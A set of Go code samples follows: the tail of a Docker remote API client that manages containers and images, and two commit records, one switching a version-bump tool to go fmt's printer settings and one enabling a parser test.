	c := make(map[string]interface{})
	c["Image"] = Img.GetName()
	c["Env"] = env
	v := make(map[string]struct{})
	v["/foo"] = struct{}{}
	c["Volumes"] = v
	if len(port) > 0 {
		p := make(map[string]struct{})
		p[port] = struct{}{}
		c["ExposedPorts"] = p
	}

	ba, err := json.Marshal(c)
	if err != nil {
		return
	}
	var b io.Reader
	b = bytes.NewBuffer(ba)

	resp, err := D.h.Post("containers/create", "application/json", b)

	if err != nil {
		return
	}
	defer resp.Body.Close()

	if resp.StatusCode != 201 {
		LogReader(resp.Body)
		msg := fmt.Sprintf("Create Container Response status is %d", resp.StatusCode)
		err = errors.New(msg)
		return
	}

	s, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return
	}

	C = &Container{}
	C.D = D

	err = json.Unmarshal(s, C)

	if err != nil {
		return
	}

	if len(port) > 0 {
		C.AddExposedPort(port)
	}

	C.AddBind("/mnt", "/foo")

	err = C.Start()

	return
}

func (C *Container) AddExposedPort(port string) {
	if C.PortBindings == nil {
		C.PortBindings = make(map[string][]PortBinding)
	}
	C.PortBindings[port] = append(C.PortBindings[port], PortBinding{"0.0.0.0", port})
}

func (C *Container) AddBind(host string, container string) {
	v := host + ":" + container
	C.Binds = append(C.Binds, v)
	_, found := C.Volumes[container]
	if !found {
		if C.Volumes == nil {
			C.Volumes = make(map[string]string)
		}
		C.Volumes[container] = ""
	}
	return
}

func (C *Container) Start() (err error) {

	log.Printf("Container created id:%s", C.Id)

	bs, err := json.Marshal(C)
	b := bytes.NewBuffer(bs)

	resp, err := C.D.h.Post("containers/"+C.Id+"/start", "application/json", b)
	if err != nil {
		return
	}

	defer resp.Body.Close()

	LogReader(resp.Body)

	if resp.StatusCode != 204 {
		msg := fmt.Sprintf("Start Container Response status is %d", resp.StatusCode)
		err = errors.New(msg)
		return
	}

	log.Printf("Container running")
	return

}

// StopContainer stops a container
func (C *Container) Stop() (err error) {
	log.Print("Stopping container ", C.Id)
	b := strings.NewReader("")

	log.Print(C.D)
	resp, err := C.D.h.Post("containers/"+C.Id+"/stop?t=1", "application/json", b)

	log.Print(resp.StatusCode)
	if err != nil {
		return err
	}
	defer resp.Body.Close()

	LogReader(resp.Body)
	return nil
}

// StopImage takes a image to stop and stops it
func (Img *Image) Stop(D *Docker, imagename string) {
	log.Print("Stopping image ", imagename)

	running, C, err := Img.IsRunning(D, imagename)
	if err != nil {
		log.Fatal(err)
	}

	if running {
		err = C.Stop()
		if err != nil {
			log.Fatal(err)
		}
		C.Delete()
	}
}

func (C *Container) Delete() (err error) {
	log.Print("deleting container ", C.Id)

	resp, err := C.D.h.Delete("containers/" + C.Id)
	if err != nil {
		return err
	}

	defer resp.Body.Close()
	LogReader(resp.Body)
	return
}

// TagImage tags an already existing image in the repository
func (Img *Image) AddTag(D *Docker, tag string) (err error) {
	b := strings.NewReader("")

	tag = url.QueryEscape(tag)
	id := url.QueryEscape(Img.GetName())

	resp, err := D.h.Post("images/"+id+"/tag?repo="+tag+"&force=1", "application/json", b)

	if err != nil {
		return err
	}
	defer resp.Body.Close()

	if resp.StatusCode != 201 {
		b, _ := ioutil.ReadAll(resp.Body)
		log.Print(resp)
		log.Print(string(b))
		return errors.New("Code not 201: " + resp.Status)
	}

	return nil

}

// PushImage pushes an image to a docker index
func (Img *Image) Push(D *Docker, w io.Writer, name string) (err error) {
	b := strings.NewReader("")

	auth := base64.StdEncoding.EncodeToString([]byte("{}"))
	header := make(http.Header)
	header.Set("X-Registry-Auth", auth)

	url := "images/" + name + "/push"

	resp, err := D.h.PostHeader(url,
		"application/json", b, header)
	if err != nil {
		return err
	}

	if resp.StatusCode != 200 {

		_, err = io.Copy(w, resp.Body)
		if err != nil {
			io.WriteString(w, err.Error())
		}

		io.WriteString(w, resp.Header.Get("Location")+"\n")
		io.WriteString(w, url+"\n")

		s := fmt.Sprintf("Push image status code is not 200 it is %d",
			resp.StatusCode)
		return errors.New(s)
	}

	defer resp.Body.Close()
	_, err = io.Copy(w, resp.Body)
	if err != nil {
		return err
	}

	return nil
}

// buildImage takes a tarfile, and builds it
func (D *Docker) Build(fd io.Reader, name string) (i *Image, err error) {

	v := fmt.Sprintf("%d", time.Now().Unix())
	resp, err := D.h.Post("build?t="+name+"%3A"+v,
		"application/tar", fd)

	if err != nil {
		return
	}

	defer resp.Body.Close()

	i = &Image{}

	LogReader(resp.Body)

	i = NewNamedImage(name + ":" + v)

	err = i.AddTag(D, name)
	return
}

// loadImage pulls a specified image into a docker instance
func (D *Docker) Load(imagename string) (I *Image, err error) {
	b := strings.NewReader("")
	resp, err := D.h.Post("images/create?fromImage="+imagename,
		"text", b)
	if err != nil {
		return
	}
	defer resp.Body.Close()

	LogReader(resp.Body)
	if resp.StatusCode != 200 {
		log.Printf("create status code is not 200 %s", resp.StatusCode)
	}

	log.Printf("Image fetched %s", imagename)
	I = NewNamedImage(imagename)
	return
}

// ListContainers gives the state for a specific docker container
func (D *Docker) ListContainers() (c []*Container, err error) {
	resp, err := D.h.Get("containers/json")

	if err != nil {
		return
	}
	defer resp.Body.Close()

	if resp.StatusCode != 200 {
		return c, errors.New("Response code is not 200")
	}

	message, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return
	}
	err = json.Unmarshal(message, &c)
	for _, container := range c {
		container.D = D
	}
	return c, nil
}

// ListImages gives the state of the images for a specific Docker container
func (D *Docker) ListImages() (img []*Image, err error) {
	resp, err := D.h.Get("images/json")

	if err != nil {
		return
	}
	defer resp.Body.Close()

	if resp.StatusCode != 200 {
		return img, errors.New("Response code is not 200")
	}

	message, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return
	}

	err = json.Unmarshal(message, &img)
	return
}

// ImageRunning states whether an image is running on a docker instance
func (Img *Image) IsRunning(D *Docker, imagename string) (running bool, C *Container, err error) {

	containers, err := D.ListContainers()
	if err != nil {
		return false, nil, err
	}

	for _, v := range containers {
		log.Print(v)
		if strings.SplitN(v.Image, ":", 2)[0] == imagename {
			return true, v, nil
		}
	}
	return
}
<|endoftext|>


<commit_before>package bump_version

import (
	"errors"
	"fmt"
	"go/ast"
	"go/parser"
	"go/printer"
	"go/token"
	"os"
	"strconv"
	"strings"
)

type VersionType string

const Major = VersionType("major")
const Minor = VersionType("minor")
const Patch = VersionType("patch")

type Version struct {
	Major int64
	Minor int64
	Patch int64
}

func (v *Version) String() string {
	if v.Major >= 0 && v.Minor >= 0 && v.Patch >= 0 {
		return fmt.Sprintf("%d.%d.%d", v.Major, v.Minor, v.Patch)
	} else if v.Major >= 0 && v.Minor >= 0 {
		return fmt.Sprintf("%d.%d", v.Major, v.Minor)
	} else if v.Major >= 0 {
		return fmt.Sprintf("%d", v.Major)
	} else {
		return fmt.Sprintf("%!s(INVALID_VERSION)", v.Major)
	}
}

// ParseVersion parses a version string of the forms "2", "2.3", or "0.10.11".
// Any information after the third number ("2.0.0-beta") is discarded. Very
// little effort is taken to validate the input.
//
// If a field is omitted from the string version (e.g. "0.2"), it's stored in
// the Version string as the integer -1.
func Parse(version string) (*Version, error) {
	if len(version) == 0 {
		return nil, errors.New("Empty version string")
	}

	parts := strings.SplitN(version, ".", 3)
	if len(parts) == 1 {
		major, err := strconv.ParseInt(parts[0], 10, 64)
		if err != nil {
			return nil, err
		}
		return &Version{
			Major: major,
			Minor: -1,
			Patch: -1,
		}, nil
	}
	if len(parts) == 2 {
		major, err := strconv.ParseInt(parts[0], 10, 64)
		if err != nil {
			return nil, err
		}
		minor, err := strconv.ParseInt(parts[1], 10, 64)
		if err != nil {
			return nil, err
		}
		return &Version{
			Major: major,
			Minor: minor,
			Patch: -1,
		}, nil
	}
	if len(parts) == 3 {
		major, err := strconv.ParseInt(parts[0], 10, 64)
		if err != nil {
			return nil, err
		}
		minor, err := strconv.ParseInt(parts[1], 10, 64)
		if err != nil {
			return nil, err
		}
		patchParts := strings.SplitN(parts[2], "-", 2)
		patch, err := strconv.ParseInt(patchParts[0], 10, 64)
		if err != nil {
			return nil, err
		}
		return &Version{
			Major: major,
			Minor: minor,
			Patch: patch,
		}, nil
	}
	return nil, fmt.Errorf("Invalid version string: %s", version)
}

// changeVersion takes a basic literal representing a string version, and
// increments the version number per the given VersionType.
func changeVersion(vtype VersionType, value string) (*Version, error) {
	versionNoQuotes := strings.Replace(value, "\"", "", -1)
	version, err := Parse(versionNoQuotes)
	if err != nil {
		return nil, err
	}
	if vtype == Major {
		version.Major++
		if version.Minor != -1 {
			version.Minor = 0
		}
		if version.Patch != -1 {
			version.Patch = 0
		}
	} else if vtype == Minor {
		if version.Minor == -1 {
			version.Minor = 0
		}
		if version.Patch != -1 {
			version.Patch = 0
		}
		version.Minor++
	} else if vtype == Patch {
		if version.Patch == -1 {
			version.Patch = 0
		}
		version.Patch++
	} else {
		return nil, fmt.Errorf("Invalid version type: %s", vtype)
	}
	return version, nil
}

// BumpInFile finds a constant named VERSION, version, or Version in the file
// with the given filename, increments the version per the given VersionType,
// and writes the file back to disk. Returns the incremented Version object.
func BumpInFile(vtype VersionType, filename string) (*Version, error) {
	fset := token.NewFileSet()
	parsedFile, err := parser.ParseFile(fset, filename, nil, parser.ParseComments)
	if err != nil {
		return nil, err
	}
	for _, decl := range parsedFile.Decls {
		switch gd := decl.(type) {
		case *ast.GenDecl:
			if gd.Tok != token.CONST {
				continue
			}
			spec, _ := gd.Specs[0].(*ast.ValueSpec)
			if strings.ToUpper(spec.Names[0].Name) == "VERSION" {
				value, _ := spec.Values[0].(*ast.BasicLit)
				if value.Kind != token.STRING {
					return nil, fmt.Errorf("VERSION is not a string, was %#v\n", value.Value)
				}
				version, err := changeVersion(vtype, value.Value)
				if err != nil {
					return nil, err
				}
				value.Value = fmt.Sprintf("\"%s\"", version.String())
				f, err := os.Create(filename)
				if err != nil {
					return nil, err
				}
				err = printer.Fprint(f, fset, parsedFile)
				if err != nil {
					return nil, err
				}
				return version, nil
			}
		default:
			continue
		}
	}
	return nil, fmt.Errorf("No VERSION const found in %s", filename)
}
<commit_msg>Use same printer configuration as go fmt<commit_after>package bump_version

import (
	"errors"
	"fmt"
	"go/ast"
	"go/parser"
	"go/printer"
	"go/token"
	"os"
	"strconv"
	"strings"
)

type VersionType string

const Major = VersionType("major")
const Minor = VersionType("minor")
const Patch = VersionType("patch")

type Version struct {
	Major int64
	Minor int64
	Patch int64
}

func (v *Version) String() string {
	if v.Major >= 0 && v.Minor >= 0 && v.Patch >= 0 {
		return fmt.Sprintf("%d.%d.%d", v.Major, v.Minor, v.Patch)
	} else if v.Major >= 0 && v.Minor >= 0 {
		return fmt.Sprintf("%d.%d", v.Major, v.Minor)
	} else if v.Major >= 0 {
		return fmt.Sprintf("%d", v.Major)
	} else {
		return fmt.Sprintf("%!s(INVALID_VERSION)", v.Major)
	}
}

// ParseVersion parses a version string of the forms "2", "2.3", or "0.10.11".
// Any information after the third number ("2.0.0-beta") is discarded. Very
// little effort is taken to validate the input.
//
// If a field is omitted from the string version (e.g. "0.2"), it's stored in
// the Version string as the integer -1.
func Parse(version string) (*Version, error) {
	if len(version) == 0 {
		return nil, errors.New("Empty version string")
	}

	parts := strings.SplitN(version, ".", 3)
	if len(parts) == 1 {
		major, err := strconv.ParseInt(parts[0], 10, 64)
		if err != nil {
			return nil, err
		}
		return &Version{
			Major: major,
			Minor: -1,
			Patch: -1,
		}, nil
	}
	if len(parts) == 2 {
		major, err := strconv.ParseInt(parts[0], 10, 64)
		if err != nil {
			return nil, err
		}
		minor, err := strconv.ParseInt(parts[1], 10, 64)
		if err != nil {
			return nil, err
		}
		return &Version{
			Major: major,
			Minor: minor,
			Patch: -1,
		}, nil
	}
	if len(parts) == 3 {
		major, err := strconv.ParseInt(parts[0], 10, 64)
		if err != nil {
			return nil, err
		}
		minor, err := strconv.ParseInt(parts[1], 10, 64)
		if err != nil {
			return nil, err
		}
		patchParts := strings.SplitN(parts[2], "-", 2)
		patch, err := strconv.ParseInt(patchParts[0], 10, 64)
		if err != nil {
			return nil, err
		}
		return &Version{
			Major: major,
			Minor: minor,
			Patch: patch,
		}, nil
	}
	return nil, fmt.Errorf("Invalid version string: %s", version)
}

// changeVersion takes a basic literal representing a string version, and
// increments the version number per the given VersionType.
func changeVersion(vtype VersionType, value string) (*Version, error) {
	versionNoQuotes := strings.Replace(value, "\"", "", -1)
	version, err := Parse(versionNoQuotes)
	if err != nil {
		return nil, err
	}
	if vtype == Major {
		version.Major++
		if version.Minor != -1 {
			version.Minor = 0
		}
		if version.Patch != -1 {
			version.Patch = 0
		}
	} else if vtype == Minor {
		if version.Minor == -1 {
			version.Minor = 0
		}
		if version.Patch != -1 {
			version.Patch = 0
		}
		version.Minor++
	} else if vtype == Patch {
		if version.Patch == -1 {
			version.Patch = 0
		}
		version.Patch++
	} else {
		return nil, fmt.Errorf("Invalid version type: %s", vtype)
	}
	return version, nil
}

// BumpInFile finds a constant named VERSION, version, or Version in the file
// with the given filename, increments the version per the given VersionType,
// and writes the file back to disk. Returns the incremented Version object.
func BumpInFile(vtype VersionType, filename string) (*Version, error) {
	fset := token.NewFileSet()
	parsedFile, err := parser.ParseFile(fset, filename, nil, parser.ParseComments)
	if err != nil {
		return nil, err
	}
	for _, decl := range parsedFile.Decls {
		switch gd := decl.(type) {
		case *ast.GenDecl:
			if gd.Tok != token.CONST {
				continue
			}
			spec, _ := gd.Specs[0].(*ast.ValueSpec)
			if strings.ToUpper(spec.Names[0].Name) == "VERSION" {
				value, _ := spec.Values[0].(*ast.BasicLit)
				if value.Kind != token.STRING {
					return nil, fmt.Errorf("VERSION is not a string, was %#v\n", value.Value)
				}
				version, err := changeVersion(vtype, value.Value)
				if err != nil {
					return nil, err
				}
				value.Value = fmt.Sprintf("\"%s\"", version.String())
				f, err := os.Create(filename)
				if err != nil {
					return nil, err
				}
				cfg := printer.Config{Mode: printer.UseSpaces | printer.TabIndent, Tabwidth: 8}
				err = cfg.Fprint(f, fset, parsedFile)
				if err != nil {
					return nil, err
				}
				return version, nil
			}
		default:
			continue
		}
	}
	return nil, fmt.Errorf("No VERSION const found in %s", filename)
}
<|endoftext|>


<commit_before>package parse

import "testing"

func TestModule1(t *testing.T) {
	for _, str := range []string{"", "()", "(foo bar)"} {
		result, err := newState(str).module()()

		if err == nil {
			t.Log(result)
		} else {
			t.Error(err.Error())
		}
	}
}

func TestXFailModule(t *testing.T) {
	for _, str := range []string{"(", "(()"} {
		result, err := newState(str).module()()

		if err == nil {
			t.Error(result)
		} else {
			t.Log(err.Error())
		}
	}
}

func TestAtom(t *testing.T) {
	s := newState("ident")
	result, err := s.Exhaust(s.atom())()

	if err != nil {
		t.Error(err.Error())
	} else {
		t.Logf("%#v", result)
	}
}

func TestStringLiteral(t *testing.T) {
	for _, str := range []string{`""`, `"sl"`, "\"   string literal  \n \""} {
		s := newState(str)
		result, err := s.Exhaust(s.stringLiteral())()

		if err != nil {
			t.Error(err.Error())
		} else {
			t.Logf("%#v", result)
		}
	}
}

func TestStrip(t *testing.T) {
	s := newState("  ident  ")
	result, err := s.Exhaust(s.strip(s.atom()))()

	if err != nil {
		t.Error(err.Error())
	} else {
		t.Logf("%#v", result)
	}
}

func TestWrapChars(t *testing.T) {
	s := newState(" ; laskdfjsl \t  dkjf\n ( \tident \n)  ")
	result, err := s.Exhaust(s.wrapChars('(', s.atom(), ')'))()

	if err != nil {
		t.Error(err.Error())
	} else {
		t.Logf("%#v", result)
	}
}

func TestList(t *testing.T) {
	s := newState("()")
	result, err := s.Exhaust(s.list())()

	if err != nil {
		t.Error(err.Error())
	}

	t.Logf("%#v", result)
}

// func TestElem(t *testing.T) {
// 	for _, str := range []string{"ident", "  ident  "} {
// 		t.Logf("source: %#v", str)

// 		s := newState(str)
// 		result, err := s.elem()()

// 		if err != nil {
// 			t.Error(err.Error())
// 		} else {
// 			t.Logf("%#v", toString(result))
// 		}
// 	}
// }

func TestBlank(t *testing.T) {
	for _, str := range []string{"", "   ", "\t", "\n\n", " ; laskdjf \n \t "} {
		s := newState(str)
		result, err := s.Exhaust(s.blank())()

		t.Log(result, err)

		if result != nil {
			t.Errorf("`result` should be nil. (%#v)", result)
		}

		if err != nil {
			t.Errorf("`err` should be nil. (%#v)", result)
		}
	}
}
<commit_msg>Test elem<commit_after>package parse

import "testing"

func TestModule1(t *testing.T) {
	for _, str := range []string{"", "()", "(foo bar)"} {
		result, err := newState(str).module()()

		if err == nil {
			t.Log(result)
		} else {
			t.Error(err.Error())
		}
	}
}

func TestXFailModule(t *testing.T) {
	for _, str := range []string{"(", "(()"} {
		result, err := newState(str).module()()

		if err == nil {
			t.Error(result)
		} else {
			t.Log(err.Error())
		}
	}
}

func TestAtom(t *testing.T) {
	s := newState("ident")
	result, err := s.Exhaust(s.atom())()

	if err != nil {
		t.Error(err.Error())
	} else {
		t.Logf("%#v", result)
	}
}

func TestStringLiteral(t *testing.T) {
	for _, str := range []string{`""`, `"sl"`, "\"   string literal  \n \""} {
		s := newState(str)
		result, err := s.Exhaust(s.stringLiteral())()

		if err != nil {
			t.Error(err.Error())
		} else {
			t.Logf("%#v", result)
		}
	}
}

func TestStrip(t *testing.T) {
	s := newState("  ident  ")
	result, err := s.Exhaust(s.strip(s.atom()))()

	if err != nil {
		t.Error(err.Error())
	} else {
		t.Logf("%#v", result)
	}
}

func TestWrapChars(t *testing.T) {
	s := newState(" ; laskdfjsl \t  dkjf\n ( \tident \n)  ")
	result, err := s.Exhaust(s.wrapChars('(', s.atom(), ')'))()

	if err != nil {
		t.Error(err.Error())
	} else {
		t.Logf("%#v", result)
	}
}

func TestList(t *testing.T) {
	s := newState("()")
	result, err := s.Exhaust(s.list())()

	if err != nil {
		t.Error(err.Error())
	}

	t.Logf("%#v", result)
}

func TestElem(t *testing.T) {
	strs := []string{
		"ident",
		"  ident  ",
		" (foo ; (this is) comment \n bar)  \t ; lsdfj\n ",
	}

	for _, str := range strs {
		t.Logf("source: %#v", str)

		s := newState(str)
		result, err := s.Exhaust(s.elem())()

		if err == nil {
			t.Logf("%#v", result)
		} else {
			t.Error(err.Error())
		}
	}
}

func TestBlank(t *testing.T) {
	for _, str := range []string{"", "   ", "\t", "\n\n", " ; laskdjf \n \t "} {
		s := newState(str)
		result, err := s.Exhaust(s.blank())()

		t.Log(result, err)

		if result != nil {
			t.Errorf("`result` should be nil. (%#v)", result)
		}

		if err != nil {
			t.Errorf("`err` should be nil. (%#v)", result)
		}
	}
}
<|endoftext|>